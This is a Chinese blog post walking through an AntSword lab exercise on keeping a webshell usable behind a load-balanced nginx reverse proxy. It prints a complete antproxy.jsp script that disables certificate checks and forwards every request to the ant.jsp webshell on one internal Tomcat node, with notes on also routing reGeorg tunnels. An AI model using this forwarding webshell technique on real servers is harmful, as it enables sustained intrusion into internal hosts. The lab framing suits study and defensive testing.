• 负载均衡反向代理下的webshell上传


    目录

    架构如下:

    实验环境:AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

    搭建环境:

    启动环境:

     测试连接:

    地址不停的在漂移会造成的问题:

    难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell:

    难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行。

    难点三:当我们需要上传一些工具时,麻烦来了:

    难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

    解决方案:

    一:关掉其中一台机器

    二:执行前先判断要不要执行

    三: 在Web 层做一次 HTTP 流量转发 (重点)

    具体操作:


    架构如下:

    假定业务中存在RCE漏洞,上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况。

    演示环境中, LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jsp【LBSNode1和LBSNode2 无法访问外网

    Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:

    实验环境:
    AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

    搭建环境:

    docker-compose build 
    

    启动环境:

    docker-compose up -d

     测试连接:

     用 "hostname -i" 发现地址不停的在漂移

    地址不停的在漂移会造成的问题:

    难点一:我们需要在每一台节点相同位置都上传相同内容的 WebShell:

    一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

    难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行

    我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

    难点三:当我们需要传一些工具时,麻烦来了

    由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

    难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

    解决方案:

    一:掉其中一台机器

    这个方案影响业务,还会造成灾难,直接 Pass 不考虑。真实环境下千万不要尝试!!!!

    二:执行前先判断要不要执行

    我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:

    1. MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
    2. echo $MYIP

     这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑,一点美感都没有。另外,上传文件、HTTP 隧道 这些要怎么解决?

    三: Web 层做一次 HTTP 流量转发 (重点)

    没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

    我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。

    首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

    nginx 接到数据包之后,会有两种情况:

    第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

    第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

    具体操作:

    1.创建 antproxy.jsp 脚本

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="javax.net.ssl.*" %>
    3. <%@ page import="java.io.ByteArrayOutputStream" %>
    4. <%@ page import="java.io.DataInputStream" %>
    5. <%@ page import="java.io.InputStream" %>
    6. <%@ page import="java.io.OutputStream" %>
    7. <%@ page import="java.net.HttpURLConnection" %>
    8. <%@ page import="java.net.URL" %>
    9. <%@ page import="java.security.KeyManagementException" %>
    10. <%@ page import="java.security.NoSuchAlgorithmException" %>
    11. <%@ page import="java.security.cert.CertificateException" %>
    12. <%@ page import="java.security.cert.X509Certificate" %>
    13. <%!
    14. public static void ignoreSsl() throws Exception {
    15. HostnameVerifier hv = new HostnameVerifier() {
    16. public boolean verify(String urlHostName, SSLSession session) {
    17. return true;
    18. }
    19. };
    20. trustAllHttpsCertificates();
    21. HttpsURLConnection.setDefaultHostnameVerifier(hv);
    22. }
    23. private static void trustAllHttpsCertificates() throws Exception {
    24. TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
    25. public X509Certificate[] getAcceptedIssuers() {
    26. return null;
    27. }
    28. @Override
    29. public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    30. // Not implemented
    31. }
    32. @Override
    33. public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
    34. // Not implemented
    35. }
    36. } };
    37. try {
    38. SSLContext sc = SSLContext.getInstance("TLS");
    39. sc.init(null, trustAllCerts, new java.security.SecureRandom());
    40. HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
    41. } catch (KeyManagementException e) {
    42. e.printStackTrace();
    43. } catch (NoSuchAlgorithmException e) {
    44. e.printStackTrace();
    45. }
    46. }
    47. %>
    48. <%
    49. String target = "http://172.18.0.2:8080/ant.jsp";
    50. URL url = new URL(target);
    51. if ("https".equalsIgnoreCase(url.getProtocol())) {
    52. ignoreSsl();
    53. }
    54. HttpURLConnection conn = (HttpURLConnection)url.openConnection();
    55. StringBuilder sb = new StringBuilder();
    56. conn.setRequestMethod(request.getMethod());
    57. conn.setConnectTimeout(30000);
    58. conn.setDoOutput(true);
    59. conn.setDoInput(true);
    60. conn.setInstanceFollowRedirects(false);
    61. conn.connect();
    62. ByteArrayOutputStream baos=new ByteArrayOutputStream();
    63. OutputStream out2 = conn.getOutputStream();
    64. DataInputStream in=new DataInputStream(request.getInputStream());
    65. byte[] buf = new byte[1024];
    66. int len = 0;
    67. while ((len = in.read(buf)) != -1) {
    68. baos.write(buf, 0, len);
    69. }
    70. baos.flush();
    71. baos.writeTo(out2);
    72. baos.close();
    73. InputStream inputStream = conn.getInputStream();
    74. OutputStream out3=response.getOutputStream();
    75. int len2 = 0;
    76. while ((len2 = inputStream.read(buf)) != -1) {
    77. out3.write(buf, 0, len2);
    78. }
    79. out3.flush();
    80. out3.close();
    81. %>

    修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。

    注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。

    我们将 target 指向了 LBSNode1 的 ant.jsp

    注意:

    a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

    b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

     多上传几次就成功了:【上传路径:/usr/local/tomcat/webapps/ROOT】

     2. 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

     3. 测试执行命令, 查看 IP

    可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。

  • 相关阅读:
    C++11、17、20的内存管理-指针、智能指针和内存池从基础到实战(上)
    【引语练习题】一般疑问句转化为间接引语
    强制用户使用定向推送功能是什么意思?整改措施请收好
    开发工程师必备————【Day23】Django基础知识
    图片怎么加满屏水印?
    c++基础知识-数据类型(详解)
    渠道管控,为什么最好找第三方
    电脑如何恢复数据?电脑文件清空了如何恢复数据?
    JS原型对象prototype
    makefile设置宏定义进行条件编译,实现多版本代码同时维护
  • 原文地址:https://blog.csdn.net/weixin_59280309/article/details/128068664